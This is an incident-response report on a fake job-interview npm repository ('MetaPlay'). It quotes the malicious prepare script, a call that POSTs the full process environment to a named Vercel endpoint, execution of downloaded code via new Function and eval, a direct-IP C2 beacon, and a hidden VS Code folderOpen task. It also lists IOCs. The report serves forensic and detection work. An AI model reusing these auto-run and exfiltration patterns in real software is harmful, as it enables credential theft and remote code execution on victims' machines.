MetaPlay Supply-Chain Incident: Threat Surface and Exposure Assessment

1. Executive Summary

MetaPlay was a malicious interview repository designed to turn a routine dependency installation into code execution. The attacker placed a prepare lifecycle script in the root package.json. When the victim ran npm i, npm automatically invoked that script, which attempted to start node server in the background on both Windows and Unix-like systems.

During the live interview, the victim did run npm i from the MetaPlay repository root. That root install was not hypothetical or limited to later analysis; it was the real detonation point for the malicious npm lifecycle chain. The victim stopped before following the interviewer’s second instruction, cd client && npm i.

The server imported socket/index.js. During module initialization, that file decoded a Vercel URL, caused controllers/auth.js to POST the complete Node process.env, accepted JavaScript in the response, and executed it with new Function("require", response.data). The captured response was an obfuscated second stage that collected host identity data and process.env, attempted to contact a direct-IP command-and-control (C2) service every five seconds, and could execute C2-supplied JavaScript through eval.

Practical conclusion: this was a malicious software-supply-chain and social-engineering attack using npm lifecycle execution, environment-variable exfiltration, staged remote JavaScript, and remote command execution. Completed revocations, logouts, process cleanup, and network containment materially reduced the identified credential and callback risk; Claude removal/revocation remains pending unless separately confirmed. This conclusion is qualified as follows:

The current MetaPlay/package.json is analyst-modified for safe environment capture. The original lifecycle evidence is preserved identically in MetaPlay/package.json.before-env-capture.596850, the Git HEAD version, and metaplay-live-fetch/codebase/MetaPlay/package.json (SHA256 c913a6b89e6f2d51cb9d6b45f75970cf571784453e85b3051b0409dabc1eb2f0).

2. Timeline

Phase 1: Live interview execution

  1. The victim had not applied for this job. A person presenting as an official technical recruiter initiated contact and arranged the interview.
  2. When the apparent interviewer joined the call, they said there was lag and asked for video to be disabled. The victim saw the interviewer for less than approximately three seconds. These are victim-reported interaction details and do not independently establish identity or attribution.
  3. The victim cloned or opened the apparently ordinary Node/React repository during the live interview.
  4. The victim ran npm i from the MetaPlay project root. This was the real execution event.
  5. npm invoked the root prepare script: start /b node server || nohup node server &.
  6. On Linux, the failed Windows start /b branch fell through to nohup node server &, starting the server in the background.
  7. server.js loaded configuration and imported socket/index.js.
  8. During module load, socket/index.js called validateApiKey(). It decoded https://gamboracle.vercel.app/api, and controllers/auth.js attempted to POST { ...process.env } with header x-app-request: ip-check.
  9. The Vercel response body was passed to new Function("require", response.data) and invoked with Node’s require, entering the stage-two execution path.
  10. The captured form of stage two collected hostname, operating-system information, one non-internal IPv4 interface’s MAC address, and process.env. It attempted an immediate request to http://136.243.22.62:1224/api/checkStatus, scheduled another every 5,000 ms, and could eval(message) when a response reported status === "error".
  11. The victim stopped before running the requested second step, cd client && npm i.

Interview exit and post-contact OPSEC

  1. The victim disconnected the network or otherwise lost reachability before the direct-IP C2 completed. Runtime evidence was consistent with connect ENETUNREACH 136.243.22.62:1224. This strongly indicates that the observed direct-IP request failed, but it is not a packet capture.

Phase 2: Initial containment

  1. The victim searched for and killed suspicious Node, MetaPlay, socket-module, and C2-related processes.
  2. The original /home/arx/src/MetaPlay working copy was removed.
  3. npm installation artifacts and cache were cleaned during triage.
  4. A blackhole route was added for 136.243.22.62/32.
  5. The host was checked for live Node listeners, remaining process/C2 references, and persistence indicators including cron, systemd, and shell-profile changes.
  6. Relevant authentication material was inventoried and revocation or logout began.

Phase 3: Controlled analysis and reconstruction

  1. Evidence was rebuilt or moved under ~/lab/metaplay-attack.
  2. The Vercel endpoint was contacted with a controlled fake-environment POST to retrieve and preserve the second-stage response.
  3. The fetched stage2-response.js was not executed.
  4. Response headers, fetch metadata, SHA256 hashes, and IOCs were preserved.
  5. The would-be process.env request body was reconstructed using analyst-created .capture-vercel-env.cjs; this file is not attacker code.
  6. The host environment and on-disk credential surfaces were audited using redacted reports.
  7. Exposed or potentially reachable authentication material was revoked, flushed, logged out, or queued for removal where completion was not documented.
  8. The current MetaPlay/package.json reflects the safe capture modification. Original lifecycle evidence remains in package.json.before-env-capture.596850, Git HEAD, and the archived codebase copy.
  9. The available June 12 22:26 root npm log records npm rm MetaPlay, and the 22:30 client logs record uninstall/cleanup attempts. Those later logs are triage activity and do not contradict the victim’s live-interview root install or show that the requested client install occurred.

3. Attack Chain Diagram

flowchart LR
    A["npm i"] --> B["prepare lifecycle"]
    B --> C["start /b node server<br/>or nohup node server &"]
    C --> D["server.js"]
    D --> E["socket/index.js module side effect"]
    E --> F["POST process.env to Vercel"]
    F --> G["new Function('require', response.data)"]
    G --> H["Obfuscated stage2"]
    H --> I["136.243.22.62:1224<br/>5-second polling"]
    I --> J["eval(message) when status === 'error'"]

4. Static Evidence Map

File Suspicious code Behavior Risk Confidence
MetaPlay/package.json.before-env-capture.596850:10 prepare: "start /b node server || nohup node server &" Runs the backend automatically during root installation and backgrounds it across Windows/Linux Initial execution without explicit user consent Confirmed
MetaPlay/package.json Current prepare invokes .capture-vercel-env.cjs Analyst modification for capture; not original attacker behavior Evidence-handling caveat Confirmed
MetaPlay/.capture-vercel-env.cjs Reads .env and serializes process.env Analyst-created reconstruction of the first-stage body Could contain sensitive data if mishandled; not attacker code Confirmed
MetaPlay/server.js:3,8 Requires config and ./socket/index Loads dotenv, then triggers malicious socket-module side effects before normal server operation Hidden execution in ordinary startup Confirmed
MetaPlay/config.js:1-4 dotenv.config() Adds repository .env values to process.env before exfiltration Expands exfiltration body Confirmed
MetaPlay/controllers/auth.js:67-72 atob; axios.post(api, { ...process.env }, ...) Decodes endpoint and sends the complete process environment with a misleading ip-check header Environment and credential exfiltration Confirmed
MetaPlay/socket/index.js:48-84 Top-level validateApiKey(); base64 URL; new Function("require", response.data) Executes downloaded JavaScript with access to CommonJS require Arbitrary code execution as the user Confirmed
MetaPlay/.env AUTH_API plus API/cloud-themed variables Supplies an alternate Vercel endpoint and bait/demo values that normalize secret-looking configuration Social camouflage and expanded env payload Confirmed; values intentionally omitted
MetaPlay/.vscode/tasks.json:7-19 Hidden background npm install -s; runOn: folderOpen Can trigger npm installation merely by opening/trusting the folder in VS Code Secondary social trigger/persistence-like reactivation Confirmed
MetaPlay/.vscode/settings.json:4-8 files.exclude["**/.vscode"] = true Hides the folder containing the automatic task from the Explorer Reduces discoverability Confirmed
Git commit 98f07f5 Bland message update Users field introduced prepare, the complete environment POST, new Function, BNB Smart Chain configuration, and error suppression together Conceals a coordinated malicious change inside a large, ordinary-looking application update Repository-history camouflage Confirmed from local Git history
Git history through commit 7c0b71e Reused the full history of the unrelated tcpie project, then replaced its tree with a poker application Made the repository appear old and active; the displayed 315-commit count was not genuine MetaPlay development history Provenance laundering and false legitimacy Confirmed; does not implicate inherited historical contributors
screenshots/2026-06-13_02-13-20.png Unknown-sender warning, @ritualhub.net invitation, Google Meet/Calendly workflow Corroborates unsolicited recruiting contact and a polished scheduling wrapper Social-engineering infrastructure Confirmed screenshot; identity attribution remains unproven
screenshots/2026-06-13_02-14-05.png through 02-14-38.png Ritual-branded company, MetaPlay, role, compensation, and benefits document Supplies professional-looking collateral and crypto-native product claims Brand impersonation and recruitment pretext Confirmed screenshot content
screenshots/2026-06-13_02-16-25.png through 02-18-11.png Public repository, apparent contributors/history, crypto README, exact install instructions, malicious prepare line Corroborates the technical trigger and legitimacy signals visible to the victim Execution pressure and repository camouflage Confirmed screenshot content
metaplay-live-fetch/stage2-response.js Obfuscated os, process.env, fetch, timer, and eval logic Profiles host, sends environment and host data to C2, polls, and executes commands Surveillance and remote code execution Confirmed
metaplay-live-fetch/headers.txt HTTP 200, Vercel, 3,686-byte response Records successful analyst retrieval of stage two Confirms endpoint behavior at capture time, not necessarily original delivery Confirmed
metaplay-live-fetch/fetch-meta.txt remote_ip=216.198.79.131 Records the IP serving the Vercel response during analyst capture Infrastructure IOC; CDN/serverless IP may be shared or change Confirmed
metaplay-live-fetch/SHA256SUMS.txt Stage-two digest Preserves payload identity Detection and evidence integrity Confirmed and independently recomputed
metaplay-live-fetch/metaplay-vercel-process-env-20260612-234329.json Reconstructed environment object Shows the would-be first-stage request body, including bait values and session metadata Defines exposure scope, but is not proof of attacker receipt Confirmed reconstruction
~/.npm/_logs/2026-06-12T22* Root npm rm; client uninstall commands Records later cleanup, not the original meeting install Prevents timeline misattribution Confirmed

5. Threat Surface Map

npm and process execution

Environment exfiltration and staged execution

Editor-triggered execution

Social-engineering and identity layer

Crypto-targeting context

Local credential surfaces

Because downloaded code executed with require, it had the user’s normal filesystem access. High-value paths included:

These paths define the reachable threat surface, not confirmed collection. The captured second stage references os, process.env, fetch, and eval; it contains no explicit file-reading logic. Only an unobserved C2-supplied eval payload would bridge the captured stage to arbitrary on-disk collection.

6. What Was Clever

7. What Was Amateur / Suspicious OPSEC

8. Exposure Assessment

Confirmed exposed to the malicious code path

Likely exposed to the first-stage Vercel endpoint

Possible but not proven

Proof would require one or more of: endpoint/C2 server logs, packet capture or proxy logs with request bodies, EDR/audit records of file opens, shell/process telemetry showing a follow-on payload, filesystem access-time evidence with reliable timestamp semantics, recovered C2 responses, or attacker-side records.

Not evidenced

9. Credential Rotation / Containment Performed

The response record and analyst account indicate the following actions:

GitHub

These were broad containment actions. They do not establish that the malicious code read the corresponding on-disk files or private keys.

OpenCode / NVIDIA

Codex / OpenAI

Claude

npm

This does not prove that no npm credential existed at any earlier time; it records only what the redacted review showed.

Host and network

Evidence preservation

These actions reduce future credential reuse and callback risk. They do not retroactively prove what was or was not transmitted, and a negative process check only establishes that no matching process was observed at check time.

10. Remaining Risk

The victim did execute the root npm lifecycle chain during the interview. The remaining uncertainty is not whether the malicious loader ran; it did. The uncertainty is whether the second-stage direct-IP C2 request completed and whether any follow-on eval payload was delivered before network loss.

The captured stage two does not itself read credential files, although its remote-eval capability could have executed a server-provided file stealer or other Node-compatible code. The observed ENETUNREACH strongly suggests that the direct-IP C2 did not complete during the observed run. If the first-stage Vercel POST succeeded, the environment body was likely received before that failure. The Vercel endpoint and direct-IP C2 must therefore be evaluated separately.

Because the major real token surfaces identified during response were revoked, flushed, logged out, or queued for removal, remaining credential-abuse risk is low but not zero. Residual uncertainty covers any credential not inventoried, any data copied before revocation, any queued action not yet completed, and any unobserved remote-eval payload. Continued monitoring of relevant account audit logs is warranted, but the evidence does not support claiming broad host or wallet compromise.

11. IOCs

See the standalone IOC reference and the explicitly reconstructed nohup.out runtime evidence.

Type Indicator Context
URL https://gamboracle.vercel.app/api Hardcoded first-stage POST and stage-two delivery endpoint
URL https://ipcheck-six.vercel.app/api Alternate endpoint encoded in repository .env
URL http://136.243.22.62:1224/api/checkStatus Second-stage beacon and command endpoint
IP 136.243.22.62 Direct-IP C2; locally blackholed
IP 216.198.79.131 Vercel response IP recorded during analyst fetch; may be shared/ephemeral infrastructure
SHA256 bdc6b8a1c098ce32683d496e10c769cffe52ecd3a0c47b563b36849ca37bed7d Captured stage2-response.js
npm script start /b node server \|\| nohup node server & Malicious root prepare lifecycle command
Header x-app-request: ip-check First-stage POST marker
Code new Function("require", response.data) Downloaded JavaScript execution
Code status === "error" followed by eval(message) Remote command gate
VS Code .vscode/tasks.json with runOn: "folderOpen" Hidden quiet npm-install trigger
VS Code .vscode/settings.json excluding **/.vscode Conceals task configuration
Repository Ritual-Products/MetaPlay Repository attribution recorded in local IOC notes

12. Lessons / Detection Ideas

13. Final Judgment

This assessment is based on static local evidence and recorded response artifacts. No attacker-provided project code was executed during the later controlled analysis. This does not mean the malicious project never executed: the root npm i did execute during the live interview and triggered the malicious lifecycle path. The only live infrastructure contact during the later analysis was a controlled, fake-environment POST to the Vercel endpoint to retrieve and preserve the second-stage payload without executing it.